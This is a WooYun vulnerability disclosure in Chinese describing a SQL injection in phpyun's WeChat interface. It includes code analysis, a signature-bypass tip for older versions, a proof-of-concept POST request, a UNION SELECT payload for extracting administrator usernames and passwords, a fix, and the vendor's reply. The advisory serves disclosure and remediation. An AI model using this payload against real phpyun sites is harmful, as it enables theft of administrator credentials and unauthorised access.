当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2015-150533

漏洞标题: phpyun 第三方接口引发的注入漏洞

相关厂商: php云人才系统

漏洞作者: xiao.k

提交时间: 2015-10-30 10:55

公开时间: 2015-12-17 14:48

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 php源码审核 php源码分析 白盒测试

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-30: 细节已通知厂商并且等待厂商处理中
2015-10-30: 厂商已经确认,细节仅向厂商公开
2015-11-02: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-12-24: 细节向核心白帽子及相关领域专家公开
2016-01-03: 细节向普通白帽子公开
2016-01-13: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

此注入漏洞可以获取理员的账户密码,危害比较大。

详细说明:

## 漏洞触发条件

早于14年6月2日的版本可以直接利用此漏洞。最新版本需要开启微信公众号功能才可利用。

## 漏洞影响范围

phpyun v4.0 build151012,以及之前版本。

## 漏洞代码分析

首先简单说一下微信公众号的原理。

当网站绑定了微信公众号时,我们提交的内容先传到微信服务器。然后经过微信生成xml格式的数据,附加上效验码传到网站。网站根据发送的内容进行判断整理,将生成好的数据返回给微信服务器。微信服务器接收到数据后进行解析,最终再反馈给用户。

此次的问题在于,phpyun对于微信提交过来的数据没有转义,保持了信任。最终导致注入的发生。

关键代码位于`app\controller\weixin\index.class.php`,23行

code 区域
if(!$M->checkSignature($_GET['signature'],$_GET['timestamp'],$_GET['nonce'])){echo "非法来源地址!123";};
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
//$postStr = file_get_contents("php://input");
//var_dump($postStr);
if (!empty($postStr))



当效验完signature之后,进入`$GLOBALS["HTTP_RAW_POST_DATA"]`。我们来看一下php手册的解释。

code 区域
$HTTP\_RAW\_POST\_DATA 包含 POST 提交的原始数据。参见 always\_populate\_raw\_post\_data



我们在此可以理解为**php不会对提交的数据产生任何的转义**。

当我们在微信公众号的输入框里键入关键字时。会经过程序处理到达113行。

code 区域
}elseif($MsgType=='text'){
if($keyword){
//echo $keyword;
$Return = $M->searchJob($keyword);
$centerStr = $Return['centerStr'];
$this->MsgType = $Return['MsgType'];
}
}



我们提交的内容会被程序当作keyword传入searchJob。我们再来看看 searchJob。文件位于`app\model\weixin.model.php`,141行

code 区域
function searchJob($keyword)
{

$keyword = trim($keyword);

include(PLUS_PATH."/city.cache.php");
if($keyword)
{
$keywords = @explode(' ',$keyword);
var_dump($keywords);
if(is_array($keywords))
{
foreach($keywords as $key=>$value)
{
$iscity = 0;
if($value!='')
{
foreach($city_name as $k=>$v)
{
if(strpos($v,iconv('utf-8','gbk',trim($value)))!==false)
{
$CityId[] = $k;
$iscity = 1;
}
}
if($iscity==0)
{
$searchJob[] = "(`name` LIKE '%".iconv('utf-8','gbk',trim($value))."%') OR (`com_name` LIKE '%".iconv('utf-8','gbk',trim($value))."%')";
}
}
}

$searchWhere = "`state`='1' AND `sdate`<='".time()."' AND `edate`>= '".time()."' AND `status`<>'1' AND `r_status`<>'1' AND (".implode(' OR ',$searchJob).")";
if(!empty($CityId))
{
$City_id = pylode(',',$CityId);
$searchWhere .= " AND (`provinceid` IN (".$City_id.") OR `cityid` IN (".$City_id.") OR `three_cityid` IN (".$City_id."))";
}
$jobList = $this->DB_select_all("company_job",$searchWhere." order by `lastupdate` desc limit 5","`id`,`name`,`com_name`");
}
}



当做了几次SQL拼接以后,最终进入`DB_select_all`。



补充一下:印象中早于14年6月2日的版本,并未检查系统内部weixin token是否为空。所以signature伪造为sha1('')即可通过signature。

漏洞证明:

本地环境下可以类似的构造,注意替换**signature**。

code 区域
POST /official/phpyun/upload/weixin/index.php?signature=1&timestamp=2&nonce=3  HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: ;
Connection: keep-alive
Content-Length: 317

<xml>
<ToUserName><![CDATA[toUser]]></ToUserName>
<FromUserName><![CDATA[fromUser]]></FromUserName>
<CreateTime>12345678</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content>'))/**/UNION/**/SELECT/**/1,username,password/**/from/**/phpyun_admin_user/**/#</Content>
<FuncFlag>0</FuncFlag>
</xml>



[2015-10] phpyun 微信接口引发的注入漏洞 实验数据.JPG



在实际的攻击过程中,可以直接向对方公众号发送如下内容,进行注入。

code 区域
'))/**/UNION/**/SELECT/**/1,username,password/**/from/**/phpyun_admin_user/**/#



[2015-10] phpyun 微信接口引发的注入漏洞 IMG_2902.PNG

修复方案:

code 区域
$Return = $M->searchJob($keyword);

语句前加入

code 区域
$keyword=addslashes($keyword)

版权声明:转载请注明来源 xiao.k@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-10-30 11:02

厂商回复:

感谢提供,我们会尽快修复!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-10-30 12:47 | xiao.k ( 普通白帽子 | Rank:157 漏洞数:16 | 纳威网络安全导航 navisec.it)
    0

    确认神速.....

  2. 2015-11-03 20:27 | Xser ( 普通白帽子 | Rank:379 漏洞数:86 | JDSec)
    0

    @xiao.k 还是uc问题?

  3. 2015-11-03 20:30 | xiao.k ( 普通白帽子 | Rank:157 漏洞数:16 | 纳威网络安全导航 navisec.it)
    0

    @Xser 不是。话说你们jd还招人不?

  4. 2015-11-03 20:57 | Xser ( 普通白帽子 | Rank:379 漏洞数:86 | JDSec)
    0

    @xiao.k 这个不清楚,你直接问疯子或者0f吧

登录后才能发表评论,请先 登录